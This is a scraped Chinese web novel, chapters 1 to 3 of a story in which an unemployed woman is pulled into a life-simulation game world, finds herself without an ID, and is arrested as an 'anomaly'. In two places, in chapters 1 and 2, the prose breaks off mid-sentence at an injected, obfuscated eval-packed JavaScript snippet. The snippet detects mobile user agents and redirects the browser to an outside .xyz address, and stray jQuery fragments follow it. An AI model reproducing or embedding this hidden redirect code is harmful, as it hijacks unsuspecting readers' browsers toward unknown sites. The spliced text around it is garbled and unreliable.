《穿越到养成游戏里后我成了黑户》 1. 第 1 章 “李女士,不能提供身份ID的话,我们真的无法雇佣你。” “老板,我真的是良民。我不要工资,您每天管我三顿饭就行。” 被拒绝的女人还不放弃,语气恳切,双手合十,求助的看向面前的快餐店老板,继续道,“您大发慈悲,给我个工作机会吧。” “女士,你再继续纠缠,我就要呼叫治安队了。” 李乐生眼看着对方抬起手腕,亮出了那枚功能十分齐全的ID手环,只好作罢。 “别别别,我现在就走!” 她认得那枚手环,在厄斯星的联邦城区内,人们都有着专属的ID手环,联邦管理层将每个人的dna数据编辑输入到【手环】中,用以身份的识别。 其实就是便携式的身份证。 只不过相比于她所在的世界,这种ID手环的功能显然更为强大,除了验证身份外,还兼任通信、购物和观影等等需要运用到网络沟通的功能。 但是这种东西,李乐生没有。 因为她不属于这个世界。 她是在半个小时前,穿越过来的。 穿越的原因,是她那该死的手。 李乐生失业了。 但是失业其实并没有让她伤心,相反,倒有些解脱。 因为她上班上的想死。 这次公司依据三个季度的考核标准将她裁掉,并且按照劳动法规给予了她相应的赔偿,实在是一种喜事。 但是这份喜悦持续的时间连十分钟都没有。 妈妈打视频电话的时候,她已经走到了公司楼下,下意识地点击了接通图标。 “妈,咋啦?”李乐生此时还笑着和母亲打招呼。 “你今天没上班?”上了年纪的女人似乎没想到女儿这个时候会接电话。 随后发现李乐生的背景也不太一样,“在外面逛街?” 李乐生转身坐在一旁的遮阳伞下:“哦,公司把我辞退了。” 下一秒,母亲不满的声音从手机里传来,“你犯什么错了?为什么会辞退你?” “没犯错,就是正常的考核……” 【标准不合格】这五个字还没说出来,对方出言打断了她的话,“你一天天就知道闯祸犯事儿,觉得自己离家远想干什么都干什么!找了这么好的工作还不好好干,让你脚踏实地一点是为你好,眼高手低的像什么样!” “知不知道自己快三十了,让你结婚你不结,说要自己工作买房,你一个女的,能赚多少钱?现在还没工作,我看你是真想气死我!” 李乐生的好心情瞬间跌至谷底,她眼睛盯着屏幕上母亲那张怒气冲冲地脸,斥责的言语像一把把无形的刀扎在她的心上,让她沉默。 “我没有做那些事。”在母亲停顿的间隙,她还是为自己辩驳了一下。 语气平静,但每个字却是努力克制吐出来的。 “而且这份工作真的很累,很折磨我。”她说道。 她是大厂的高端机处理客服,公司售出的这款产品定位虽然是高端优雅,但真正接触的客户却不一定都很优雅。 客户的挑剔和为难对于她而言已经是平日要处理的常事,她有着一套自己的应对方法。 但管理层对业绩的变态考核,来自客户的别有用心的骚扰,莫名其妙的投诉只为了拿她撒气,不能挂断的充斥着谩骂的电话,以及,时不时被上司截胡了优秀客单后反过来又以“业绩不达标”为理由扣除的工资和必须忍受的批评……太多令她厌烦的东西夹杂在这份工作中,实在是一种折磨。 她坚持了一年。 一年三百六十五天,可能有三百天的晚上都睡得不安稳,私下里哭的次数更是数不胜数,工作中所受的委屈一直被压在心底,都堆积成了一座小山,压得她喘不过气。 直到今天离职,那座山忽然坍塌,她整个人都神清气爽起来。 “你累?你有什么累的?” “整天坐办公室吹空调,路都不需要走,就在电脑上敲敲字打打电话,哪里累了?” “身在福中不知福!” 她那句带着些许并撒娇语气的话并没有迎来母亲的安慰,而是一连串急促的逼问。 下一刻,另一个声音也跟随而来。 手机屏幕上的脸变成了爸爸,“乐生,能者多劳,你累说明你能力强,公司看重你才会给你一堆工作,这是在培养你。” “你怎么一点都不懂?” 李乐生:“不是您想的那样,爸。他们……” “还是太笨了,读了个大学跟没读一样,对社会一点都不懂。”那头的男人显然并不在意女儿的回答,只是依旧慢悠悠的“指点”着女儿。 “你那工作就是和人说话,简单的很,你读了这么多年书连个话都说不好?” “哎,一个女儿家,也确实不中用。” 又是这句话。 又是这种遗憾懊悔的叹气。 李乐生紧闭着嘴巴,实则牙齿已经在打颤,好几次上下牙齿碰撞咬到了唇内的软肉,她脸部的肌肉都有些抽搐,那是一种愤怒与委屈两种情绪碰撞时所产生的身体反应。 “还有别的事吗?没事我先挂了。”她努力压抑着自己的愤怒,但说话时的颤音却没办法完全消失。 她实在不想和父母吵架。 以前也不是没吵过,但每次吵架的结果都会以父母那句“不孝顺”让她强行闭嘴。 久而久之,她选择了回避。 而且二人年纪大了,吵架气出个好歹来,她就真的是不孝顺了。 “什么叫还有别的事?说你两句还说错了?你给谁摆脸色呢?”可惜她的回避并没什么效果,又换来了母亲的指责。 李乐生拿着手机的五指用力到关节泛白,就像是要把手机捏碎一样,整条手臂都在颤抖。 她的呼吸更加不自然了。 她只是面无表情而已,怎么就摆脸色了? “我只是没什么表情,您在骂我,难道还要我笑吗?您被人骂的时候能笑得出来?”李乐生说话的时候,眼眶含泪,嘴角扯动着。 “你该骂!” 此话一出,她脑袋里那根紧绷的弦彻底断开。 她发了疯似的摁下了挂断键,甚至因为手指过于用力前几下都没摁到。 视频结束,李乐生看着屏幕上的聊天框陷入沉默,这时的她两行清泪早就淌到了下巴,她瘫靠在椅子上,闭上了眼睛,空着的那只手捂着双眼,试图停止哭泣。 手机又振动起来。 她抬开手,是妈妈打来的电话,挂断。 又一个电话。再次挂断。 停顿一会儿后,聊天框里弹出了一条语音。 李乐生用手背抹去泪水,湿润的眼睛盯着语音条,却没有打开,随后便是接二连三的语音蹦了出来。 她知道母亲是绝不会说出什么好话的。 与此同时,爸爸又用自己的微信发来了视频邀请。 “滚啊!”女人终于忍不住吼了出来,这次连挂断都不愿意做,直接将手机关机。 她大口喘着气,生平第一次这样“反抗”父母,于她而言实在是一种难得的体验。 眼泪不受控制的滚出,她深吸一口气,眨眨眼睛,从包里掏出纸巾擦了擦脸,站了起来。 现在是大中午,公司外的广场上基本没几个人,来往的外卖小哥和业务员都忙着跑业务,也没空注意她。 但到底是公共场合,还是早点离开的好。 简单平复了下情绪,她便往公交站台的方向走去。 老天爷也是真开了眼了。李乐生看着这漫天细雨,气的笑出了声。 明明几分钟前还是艳阳天呢。 她可真是够命苦的。 尤其是看到这条线上原本空座很多的公交车上站满了人,而她根本没办法挤上车的时候,李乐生原本就不好的心情此刻更是抑郁了。 打车回去,最低也要四十块。 她实在是不想花这个钱。 等吧。 她想,现在是中午,她就不信每辆公交车她都上不去。 反正公交车一趟三分钟,挺快的。 灰蒙蒙的细雨中,公交站台下,穿着一身黑色衣裤的女人坐在长椅上,背靠着站台宣传栏的透明玻璃,静静的等待回家的车辆。 伴随着一个又一个三分钟的流逝,她也错过了相应数量的公交。 雨天导致很多人都选择了车作为代步工具,而她工作的这个地方又是中间站,等车辆行驶到此处,基本都满了。 更别提她手边还有个装的鼓鼓囊囊的背包,一人一包所需的空间是极大的,实在是挤不上去。 李乐生叹了口气,她烦躁且无聊。 手机作为她等车的最好搭子,此时也被她强制关机。 听着淅淅沥沥的雨声,看着马路上来往穿梭的车影,闻着那雨中散发的属于“泥土”的为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866558|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,李乐生顿生伤春悲秋之感。 她回想着刚才妈妈的斥责和爸爸的贬低,鼻子一酸。 人在伤心难过的时候,似乎总会想起很多过往的委屈。 像是自己高考结束后,想和同学们一样出去旅游“疯玩”一阵,却被妈妈以“花那冤枉钱干啥?”拒绝,于是她的那个暑假变成了弟弟的专属家教。 而在两年后,同样处境下的弟弟却和爸妈一起去了三亚看海,当时爸妈发了朋友圈,配着的图片里,三个人面朝大海,身穿短袖,笑得开怀。 配文:三年勤读,辛苦儿子了,今天爸妈就陪你疯一疯。 像是自己优异的成绩总是给爸妈在一圈亲朋好友面前长脸,夸赞他们真会教育孩子。但他们在沾沾自喜之后,又总会说上一句“哎,乐生也就是懂事的早,所以现在学习好,男孩发力晚,以后她就比不过弟弟了。” 可她又想起来,妈妈记得她爱吃茴香馅的饺子,所以每次包饺子吃的时候都会特意为她做一份茴香馅的。 高中住校的时候,那天晚上凌晨两点,她生病发烧,糊涂的直喊疼。 爸妈连夜赶到了学校,在校医室中陪她到天亮,直至她彻底退烧后,给她留了许多水果和几百块钱,才回了家。 …… 那些好的,坏的,爱的,不爱的,种种回忆混淆着在她的脑中闪回,李乐生却越来越难过。 她想,要是没有那些爱她的瞬间,或许会好过点吧。 短信的提示音将李乐生拉回了现实。 她低头,翻转过来,看到亮着的屏幕上赫然躺着一条已经打开的短信—— 【亲爱的生活家,你已经很久没有回家了,厄斯星球的大家都很想你哦,今天是你的生日,你的朋友们为你准备了生日惊喜,请在晚上十二点之前上线查收哦!(o゜▽゜)o☆——来自物语小管家的贴心提示。】 下面则躺着一条蓝色的链接。 李乐生愣了一下,思索了十来秒,才想起来,这个短信来源于她大学时玩过的一款恋爱模拟游戏——《我的人生物语手册》。 在这款游戏里,玩家所生活的星球就叫厄斯星。 游戏的自由度很高,玩家性别可以自选,可攻略人物也会因为不同的选择而产生不同的支线,情侣、仇人、陌生人、朋友……隐藏结局很多。 不过李乐生倒觉得,将这款游戏归类到“恋爱”标签里,实在是有些局限了。 比起恋爱,这款游戏更像“生活”。 是的。 生活。 恋爱也许是很多人生活的一部分,但人们的生活绝不仅仅只有恋爱。 极高的自由度使得玩家代入主控时是十分契合的,毕竟在游戏中的主控也要学习、工作,甚至会因为某个天赋点不足还会发生“被辞退”这种事情,又或者是每日日常任务没有做完,累积到一定占比时,还有可能发生角色“患病”的事件。 李乐生在玩这款游戏的时候,是很投入地。 只是后来,临近毕业答辩,她越来越忙,家中也出了些事,她的重心全部放在了现实生活上,从开始的上线时间短变成了偶尔上线,最后直接不上线了。 后来工作换了新手机,更是没有再下载过任何游戏软件。 她几乎都忘记了自己曾经还玩过游戏。 奇怪。明明都是三年前的事了,怎么看着这条短信,她曾经玩游戏时的场景历历在目呢? 她还记得,当时给自己的游戏id起名为“李唯一”。 就连游戏中的生日,都是她现实的生日。 李乐生看着短信上的字,游戏里的npc还在为她过生日吗? 可是爸爸妈妈却在今天和她吵架呢。 其实这就是一条官方劝说老玩家回游的公式化短信罢了,但是李乐生还是免不了感动。 人在脆弱的时候,总是会很轻易被感动的。 “所以是什么生日惊喜呢?”她自言自语道。 其实无非就是邮箱里赠送的抽奖钻石和游戏币,再加上几个亲密度高的npc单方面的程序互动。 玩过游戏的人基本都知道。 但她还是点了进去。 反正也没什么事儿,无聊又烦躁,看看现在这个游戏变成什么样了,也不失为一种转移注意力的手段了。 直到现在,李乐生都没有意识到一件事—— 处于关机状态的手机,不会有短信提示。 2. 第 2 章 李乐生想把自己的手给剁了。 在这人声喧哗的都市中,悬浮的飞行器穿梭于早有规划的高空轨道之中,各式各样的智能机器人服务于他们的主人。 李乐生环顾了好一会儿四周的环境,见到一处处超前的科幻感满满的建筑后给了自己一巴掌,确认她不是在做梦。 而是真的穿越了。 尤其是,路过她脚边的清洁工机器人的那张“脸”上还在宣传着“厄斯星环保守则”的新闻。 她点击了一条劝玩家回游的游戏链接,这下是真·回游了。 物理意义上。 说真的,她竟然还觉得这个穿越方式有点合理。 “我的接受度是不是有点太高了?”李乐生摸着下巴自言自语。 “难道我现在已经疯了?”她开始给自己看病。 现在的她,除了身上穿着的衣服和一部拿在手上的手机,便没有任何东西了。 自己那个大背包并没有跟着过来。 早知道等公交那会儿就不该把书包放下来,背身上才是。 好歹也算个物资包呢。 其实她的书包里只有接满了纯净水的水杯(都要离开公司了她还是没忘记嫖一瓶水)、外套、键鼠装备、充电线和一包纸巾。 真带过来的话,好像也帮不上什么忙? 不对!她手机还在呢,好歹能给手机充个电啊。 李乐生重新看向手机屏幕,屏幕是黑的。 她终于醒悟过来,她的手机一直关着机啊。 她回想着穿越前的事情,在点击链接的一瞬间,她的手机亮度忽然暴涨甚至超出了原有的上限,就跟屏幕里被扔了一枚闪光弹似的,刺得她嗷的一声闭上了眼睛。 也就是那一瞬间,雨声、汽车鸣笛的声音忽然全部中断,她只觉得听力乍无,这种意外令她产生了一种恐惧,立马睁开了眼睛。 随后,听觉回归,眼前的景色变成了这个奇幻的都市。 李乐生连忙开机,发现手机上的各功能app都还在,但是几乎都打不开。 右上角显示着无信号,无网络,拨打电话这些更不用说了,完全做不到。 就连时间、天气和日期都消失了,她想打开定位重新设置天气,想着万一能有点什么线索,但失败了。 鼓捣了十分钟左右,可以说手机除了显示电量、拍照和使用备忘录记录外,基本是做不了其他事了。 哦,手电筒倒是可以打开,但其实也是个鸡肋玩意儿。 “按照穿越小说的设定来讲,这个手机不应该携带某种特别功能吗?不应该有系统吗?为什么真的就只是普普通通的手机啊?甚至还比之前更没用了!” 李乐生欲哭无泪。 真就这么命苦啊? 穿越都不给点金手指? 而且这个世界的背景里,可是有怪物的啊! 不对,她还记得以前玩过的主线里,好像有好几次怪物攻城,主角都要死里逃生的剧情来着,但是到底有几次?攻的那些城?那些可攻略npc到底有多少? 很多的游戏设定她早就忘得干干净净了。 所以她怎么活下去?李乐生僵在原地。 再次抬头,在穿梭的飞行器之上,是更高的天。 她双腿跪地,望天兴叹,“拜托,能带我回去吗?” 求神拜佛没什么用。 崩溃绝望的李乐生转眼间又振作了起来。 她就是这样一个人。 上一秒开心下一秒崩溃,崩溃过后又能很快平静,但平静的时候还带着点消极,在这种疯癫的状态下苦命的生活。 虽然这样的她真的很命苦,但也是真的很耐活。 而现在,耐活的她正在要饭。 她是真没招了。 在发现自己是个黑户的时候,李乐生已经活人微死了。 但她还是鼓足了勇气去碰一碰,看看能不能在这个高度重视身份信息的城市中,找到那么几个“粗心大意”的老板,可以不需要识别她的ID就给她一份工作。 但是连续试了好几次,都没什么用。 而这个快餐店,已经是她第六次求职了。 生怕老板叫来治安官,她只得离开。 可是肚子不合时宜的叫了起来。 再回头,老板又瞪了她一眼:“女士!” “我没别的意思……”李乐生连忙摆手,再次恳求,“老板,您一看就是好人,能给我一碗米饭吗?再加两三口配菜。” 对方沉默。 李乐生退而求其次,“只要一碗白饭也行。” “……额,不要碗也可以,我拿手捧着吃。” 要饭这一块,她无师自通。 这下老板是真的相信她是个走投无路的可怜人了。 十分钟后,李乐生坐在靠门位置的饭桌上,面前摆着一碗白米饭和两盘菜。 老板将一杯冒着气泡的水轻轻放在她面前,李乐生笑眯眯的看着老板,略带谄媚。 “吃吧。”老板扬扬下巴。 女人拿起筷子夹起饭来。 一口米饭放进嘴里,甜香软糯的口感实在是好吃。 李乐生化身为吃饭狂人,吃的专心又利落。 “吱——” 桌对面的椅子被拉开,老板坐了下来。 李乐生刚喝完一口水,还是荔枝味的,好喝。 她放下玻璃杯,有些疑惑的看了眼老板,“怎么了?老板?” 老板抱臂皱眉,用着一种不解的目光略带审视地盯着她。 虽然眼神算不上冒犯,不过老被这么盯着,实在是有点子尴尬。 “看你穿的也不像个流浪汉,是和家里人吵架了吗?”对方问道,“不想被他们找到?” 李乐生愣了一下,脑子一转立马跟上了话,低头,“嗯……” “我…我丈夫说,说我又不用出门工作,家里什么都有机器人做……”李乐生说的磕磕绊绊,主要是她脑子里还在回想这游戏里的设定和剧情,生怕自己说漏嘴。 但这种吐字犹豫的神态在老板眼里就变了味,像是一个和家里人闹了矛盾后离家出走,此刻正难为情的诉说着自己的委屈。 老板:我有自己的判断力。 “难怪你不愿意出示自己的ID。”老板表示理解。 李乐生心虚的又喝了口荔枝水。 还好今天穿的是长袖,没有大幅度的动作,这要是穿的短袖,不就露馅了吗? 她没记错的话,似乎在这个游戏中,没有手环的人是被剥夺了公民身份和权利的【流浪者】,这类人会被送去下城区自生自灭。 下城区的科技是远远落后的,更像是整座都市的【废弃场】,废弃的、淘汰的部分科技产品会被联邦政府“大发慈悲”赠予这些【流浪者】,但是【流浪者们】是不允许回到上城区的。 李乐生虽然行为有些异常,但谈吐算得上礼貌,而且皮肤嫩滑穿戴整齐干净,并不像个罪犯。 现在一想到她是和丈夫吵架离家出走了,那之前扭捏不愿意出示ID手环的行为也能理解。 毕竟联邦法律中关于家庭关系里,明确规定过配偶之间的手环在开机状态下是可以随便查询双方的所有非保密性信息的。 比如活动踪迹。 有些配偶吵架后一气之下将手环关机拒绝交流是常有的事。 “谢谢老板,我吃饱了。” 老板还沉浸在自己的想象中呢,思绪又被李乐生的话拉回了现实。 女人已经站了起来,有些尴尬的挠了挠脸,“我实在是没什么报答您的,您放心,我不会忘记您这份恩情的,以后有机会了肯定报答你。” 李乐生走出来,在过道间郑重其事地向老板鞠了个躬。 其实她自己都有些消极的觉得这份“快餐恩情”是报答不上了。 她现在对周遭环境可以说一无所知,玩过游戏那也就是手机屏幕上点一点,就是个观察者,细到这个世界中人们生活中的地图分布、工作种类和公民义务等等这些东西,那她就是个无知的婴儿。 比婴儿强点,她能说话,也可以独立行走。 但婴儿也比她强点,人家一出生就是合法公民。 扯远了。 如今想回到自己的原世界她都没头绪,可能得在这里呆很久。 不对,或许没有很久。 可能不过半个月就会因为没有手环无法找到工作饿死? 不过运气好的话,也许能一直靠着“离家出走”的人设每天去不同的饭店要饭,从而活下去? 哎。走一步看一步吧。 现在紧要关头是去找个公园看能不能安个家……什么的。 “一顿饭而已。”老板连忙站了起来,眼见李乐生要走,赶忙开口,“你这是要去哪?” 李乐生:“当然是继续找工作啦。” 老板:“我看你心情现在挺好的,还在生你丈夫的气啊?” “夫妻吵架,怎么会波及外人呢?”李乐生睁眼说瞎话,“他这次做的太过分了,我曾经也是有工作的,因为他希望我能多陪陪他,所以选择回归家庭。” “如今却说我在家中享福都享不明白,这福气又不是我求来的。” 李乐生说着倒真有点真情实感了。 夫妻之间的事,外人也不好评论。 老板没搭腔,转了个话题,“你也别去找了,就在我这店里工作吧。” 李乐生:“真…真的?” 老板点头。 李乐生:太好了!又要到饭了。 “在你来之前,治安局已经发布过【异常预警】了,风险不高,但是不可小觑,你就在我店里呆着吧,别出去了。” “【异常预警】?”李乐生疑惑道。 老板:“对啊!你在气头上没看手环通知吧?附近的磁场波动出现了超频的波动,治安局担心是【异常入侵】,不过波动只有一瞬间,且没有造成设备故障,所以风险等级为最低。” “不过暂时不要出去,总是要安全些。等处理公告吧。” 李乐生想起来了,在这个游戏里,所有的怪物活动都被称为【异常】,因为游戏里可攻略的npc们物种十分丰富,还有吸血鬼、龙族和精灵等各种非人类。 说来就是主控与他们的拉扯很带感罢了。 当然李乐生自己是不怎么喜欢这些npc的,她当时玩的时候没专注于攻略角色,纯纯的战斗爽了,甚至好几个可攻略的npc被她玩了【井水不犯河水】的陌生人结局。 实在是不能怪她。 那些男的都太装了。 一个个不是拥有着高贵吸血鬼始祖血脉的贵族后代,就是历经万年不死的龙族将军,还有什么精灵王族……少数几个人类npc也得带着点那种很独一无二的【异能】。 虽然性格方面各有特点,有的温柔儒雅,有的桀骜不驯,有的冷淡疏离,有的外冷内热,有的斯文包容……但李乐生总是在游戏文本中能挑出刺来。 即便本身清楚这不过是一款游戏,但她在对于所谓的社交关系,尤其是恋爱养成这方面,总是很敏感。 以至于她反骨疯长,很多互动的选择都是尖锐降 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866559|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好感的那一方。 导致和几个npc的爱情连萌芽都没怎么长出来(或许长出来过?)。 反倒是向着游戏里那个玩家占比很少分支结局——【孤傲强大的救世主】逐渐靠拢,当时的分支结局进度都快到百分之五十了。 这也是《我的人生物语手册》这个游戏最鲜明的特点与最吸引玩家的优势之一,多结局走向。 与不同npc的恋爱成功与否都会有相应的结局,比如【永恒血族的救赎者】【跨越卡年的缔约之人】等等。 而【孤傲强大的救世主】则是和所有可攻略npc恋爱线或失败或中断或未开启等结果总结后产生的结局之一。 这些结局并不是开启后就会锁定的,而是依靠玩家在游玩过程中的选项不同,逐渐累积叠加后产生进度,这也是在给玩家更多选择的机会。 毕竟人是多变的,难保有的玩家后期希望改变结局。 游戏的体量很大,李乐生没有玩到结局,甚至可能都没有玩到一半。 但她能确定当时的分支结局里,因为她的不同选择,走向了【救世主】这条线。 她本人倒也喜闻乐见这条结局,可能是因为这条线的主控在剧情中很让人敬畏,也可能是因为不需要那些npc的跟随,仅凭主控一人也能战斗爽。 她在快餐店等待结果的期间,已经有顾客进来用餐了。 李乐生趁机悄无声息的观察这些顾客的动作,每个人进店后都是直奔自己想坐的餐桌位置,坐下后或是抬起左手或是抬起右手,在每个人的手腕腕骨考上的位置,都戴着一条黑色的粗绳状的手环。 当他们的手指在手环上放置约莫几秒钟,便会出现一道浮空屏幕,李乐生看着那些人在屏幕上比划几下便点起餐来。 感觉与她原世界里的【扫码点餐】是一样的流程,只不过更方便更先进些。 “话说手环应该是要充电吧?没电了怎么办?”她喃喃自语。 “怎么了?”老板正在打饭,她则在一旁等待出餐端过去。 专注于工作的老板没听清她的话,抬头询问她。 “没什么。”女人连忙微笑摆手,并接过了那盘打好的饭,转身去上菜。 面试刚过就上班,自己果真是天选牛马。李乐生一边工作一边给自己贴上了标签。 吃的地方解决了,住的地方还没解决呢。她坐在椅子上,看着门外的街道,发呆一样的思考起来。 再求老板给个住的地方是不行的,这有点得寸进尺。 下班后去看看有没有那种免费公益的收容站,可以去那儿度日。 她想应该是有的。 女人思考着真的发起呆来了,连店里又来了一批客人都不知道。 身穿黑色作战服的两女一男走了进来,彼此腰间或背上佩戴着专属的武器。 而在他们几人身后还有一个女人。 女人穿着较为宽松但贴身的黑色制服,一头微卷翘起的白色短发在光泽下使得发尾都略显透明,一张俊秀淡漠的脸看起来很是无害。 “领导!请问这边需要什么配合?” 老板一眼就认出来了这几人的身份,正是【诺诚】的治安官们,那个穿着不同的女人是治安作战队的队长。 不过究竟是哪个队长,这就不得而知了。 虽然联邦将所有治安官的信息都公开透明的发送到每个公民的手环中了,但大部分公民都没有仔细记住那些治安官的样貌,基本是靠衣服识别身份的。 “【异常预警】公告您应该收到了吧?”作战队长开口询问。 老板连忙点头。 “是不是在我们店里发现了什么线索?您尽管说,我们全力配合。”老板老实回答,看到李乐生还在发呆,连忙叫道,“乐生,快过来协助调查。” 发呆的李乐生吓了一跳,转头看去,结果入目之处是一条腰。 李乐生:? 她抬眼,正对上一个白发女人的眼睛,那双淡金色的眸子令人失神。 好美的一张脸。她想。 那张脸忽然凑近,惊得李乐生身体紧绷,连忙向后躲,却被对方一只手摁住了肩膀,无法动弹。 “真的很美吗?”女人问道。 说话的声音很轻,好似带着答案问问题一样,语气里有一股游刃有余的戏谑。 二人的脸靠得太近,李乐生眼前几乎被对方整张脸都占据了,连对面脸上的绒毛都看的清,白皙的皮肤和脸部流畅的线条无一不诉说了对方建模的强大,那双淡金色的眼睛死死的盯着李乐生,嘴角还带着股微笑。 李乐生被盯着有些喘不过气,移开目光,却能听到对方的呼吸声,还有一声轻微的笑。 “呵呵……” 那声笑像是一缕柔软的鹅绒,从李乐生的耳边擦过,搞得她耳根发痒。 “终于见到你了,原来你长这个样子啊。”女人放在她肩膀上的手松开,却说了这样一句不明所以的话。 随后直起身子。 李乐生脑袋里冒出一个大大的“?”。 下一刻,那名男性治安官忽然厉声道:“【异常】已发现,正在逮捕中!” 紧接着两名女性治安官分别站在了李乐生身后,一人一只手将她架了起来。 “已实施逮捕!”男治安官冲着手环喊道。 “带走。”他们的队长再次开口,眼含笑意的看着李乐生。 李乐生:“啊?” “长官!我是良民啊!” 另一边的老板:“什么!她就是异常!???” 两人同时喊了出来。 3. 第 3 章 李乐生那句力证自己清白的“良民”语录并没有让几位治安官有所动容。 事实上她自己也清楚这一点。 这只是她下意识的申辩,没指望对方真的会网开一面。 被两个女治安架出快餐店后,李乐生沮丧的低下了头,她好似丧失了全身力气,整个人瘫了下去。 失业,穿越,找工作,被逮捕这几件事发生在同一天,甚至前后不超过两小时,她是真的累了。 索性开摆。 路都不走了,就靠着两治安把她架着。 几人不得已停了下来,齐齐看向自家的队长。 那位男治安先开了口。 “队长,此【异常者】藐视执法,我们应该为她佩戴限制器。” 啊? 她怎么藐视执法了? 李乐生听了这话眼睛瞪的铜铃般大,迅雷不及掩耳之势般的转头,不可思议的看着说话的人,“大哥?你是好官吗?” “【异常者】有言语古惑的倾向,我建议使用麻醉系统。” 男治安并不理会李乐生,而是继续和队长提出申请。 李乐生立马站直了身体,她可是听到了“麻醉”两个字的,无缘无故被打一发麻醉枪她可不愿意。 “长官我错了,我乖乖配合你们抓捕,我真没有不尊重你们。” 李乐生知道这几个人里真正做决定的人是她们的队长,虔诚的朝对方说道。 与严肃的手下相比,这位漂亮俊秀的队长显得倒有几分温和,李乐生望向她的时候,她也看着李乐生。 眼神温柔和善。 不知道是绝对实力之下对李乐生这个手无寸铁之人的包容,还是这人的眼睛本就看什么都和善。 无论哪种情况,都不是李乐生现在该考虑的,她只希望对方还能保留一下她的“人权”。 虽然她在这个世界并没有人权。 但她其实也是个受害者啊。 而且她什么都没做,怎么就是【异常】了啊? 李乐生的内心活动实在过于丰富,哀求的神情中开始多了更多其它的情绪,无语,不耐,困惑,迷茫,还有一点生无可恋的绝望。 她的神色变化被那名治安队长看在眼里,对方抬手扶了下自己的无色透明的护目镜,手掌遮挡下隐约能看到勾起的嘴角。 不过放下手后,却仍是那副波澜不惊的表情。 “她没有战斗力,并不会构成威胁,不需要用到那些手段。”治安队长没有采纳男人的建议。 李乐生乐了。 好耶。 下一秒,或许连一秒都不到,消极的情绪再次占领高地。 她到底在好耶个什么呢? 又不是被放了。 “可是队长……”与此同时,男人还想在说什么。 “纳德。”他的上司忽而眼神一变,冷漠的双眸在他身上停留了一瞬。 名叫纳德的治安官连忙低下了头,“对不起,队长。” 作为治安官,他们在选拔入队的第一天,学到的第一个规矩便是无条件服从队长的指令。 他的坚持已经有轻度违规的倾向了。 “嗯。”队长收回眼神。 随后朝李乐生靠近了几步。 李乐生有些紧张。 对方在她面前站定,屈膝,弯腰,这样便能尽量做到和李乐生的视线齐平,相互对视。 “怎么了?长官?”李乐生有些露出了标准的八颗牙齿,笑得像个披着人类皮囊努力学习人类微表情的伪人。 “你觉得我的声音怎么样?”那女人开口询问。 女人一开口,整个场面更沉默了。 三个属下的脸色不约而同的,有那么几秒钟丧失了表情管理。 李乐生:? 她是真猜不透这个队长到底想干嘛? 目前为止对方表面上是没有为难她的,姑且表现得像个好人。 如果能就此放过她就好了。 以前玩游戏的时候,这里面的【异常】除了那几个重要的npc外,其他的所有【异常】都是要被抹杀的。 李乐生自认为,她凭空穿越到这里,又没有任何的【角色标签】,只能是【抹杀】的结局了。 只是这个结局来的也太快了点。 李乐生欲哭无泪:她真的命好苦。 似乎也不是太苦,好歹还吃了顿断头饭。她苦中做乐,但也没完全乐起来。 “又发呆啊。”见李乐生不回答,而且双眼视线逐渐下移,她便知道这人又陷入自己的思绪里了。 李乐生被女人的声音拽回来。 她觉得自己可能走神太离谱了,竟然从对方的话里听出了点……控诉。 “带走。”奈何女人已经站直了身子,只留下了一个背影给她。 抬脚向着执法车走去,李乐生也被带着上了车。 李乐生发誓,如果她这次还能活下去,并且还能穿回去。 她一定要写一本—— “长官……”安静的车舱内,李乐生怯生生地开口,打破了寂静的氛围。 坐在她对面闭目养神的女人睁开了眼,没有说话,只盯着她。 “你们这座城市叫什么名字啊?”她想对方应该是示意她继续开口。 话音刚落,对面的女人挑眉,玩味地一笑,“你们啊~” 这句“你们啊”,三个字说出来可太能细品了。 那字儿里能转十八个弯。 李乐生觉得她和这个治安队长就像是老鼠和猫,对方看似温柔和善,其实内里藏刀,在她死前还要使劲心机玩弄她的情感。 有点像那种变态反派。 杀人之前先给对方一线生机,实则是为了看对方再度陷入绝望精神崩溃的样子,以满足自己的变态心理。 不过李乐生只敢在心里想想,没有说出来。 “诺城。”在李乐生心里碎碎念给这个治安队长扣上“变态心理”的帽子时,对方的语气又恢复了一本正经,简短的名字告诉了李乐生。 李乐生决定书名就叫《诺城梦》。 古有曹老《红楼梦》的刘姥姥进大观园,如果她能活着回去,那么未来就有她这个文坛新星的李姥姥进诺城。 人家的车连方向盘都没有。 她看到那个叫纳德的男治安官上了车,伸出手掌在平面上一贴,只听的一声“身份识别通过”的机械重叠音,下一秒浮空的粒子屏幕汇聚,纳德伸手在上面比划几下,路线和车速迅速设置好。 车辆缓慢升起,随后跃出。 一道巨大的无底深洞纵然出现在车前,李乐生惊恐的看着车子直接撞上去,下一秒她的手忽然被人抓住,同时她的双眼一黑,脑袋里猛然一阵晕眩,与此同时她忽然全身触觉仿若消失,与至于连呼吸忘记了,半窒息间四肢僵住。 唯有那只被抓住的手能感知到存在。 这些变化仅发生在吸气之间。 忽然,她眼前花花绿绿的各种光芒交织,原来是视力恢复了,紧接着她全身的触感也回来了,她仍旧坐在车座上,她的肺部几乎要爆炸了。 “哈——”李乐生连忙吐出一口气。 这股神秘甚至令人莫名恐惧的体验实在是过于刺激。 一口气吐出,身体放松的李乐生忽然向前倒去。 她全身的力气竟然莫名其妙的消失了。 四肢更像是瘫痪了一样,完全使不上力。 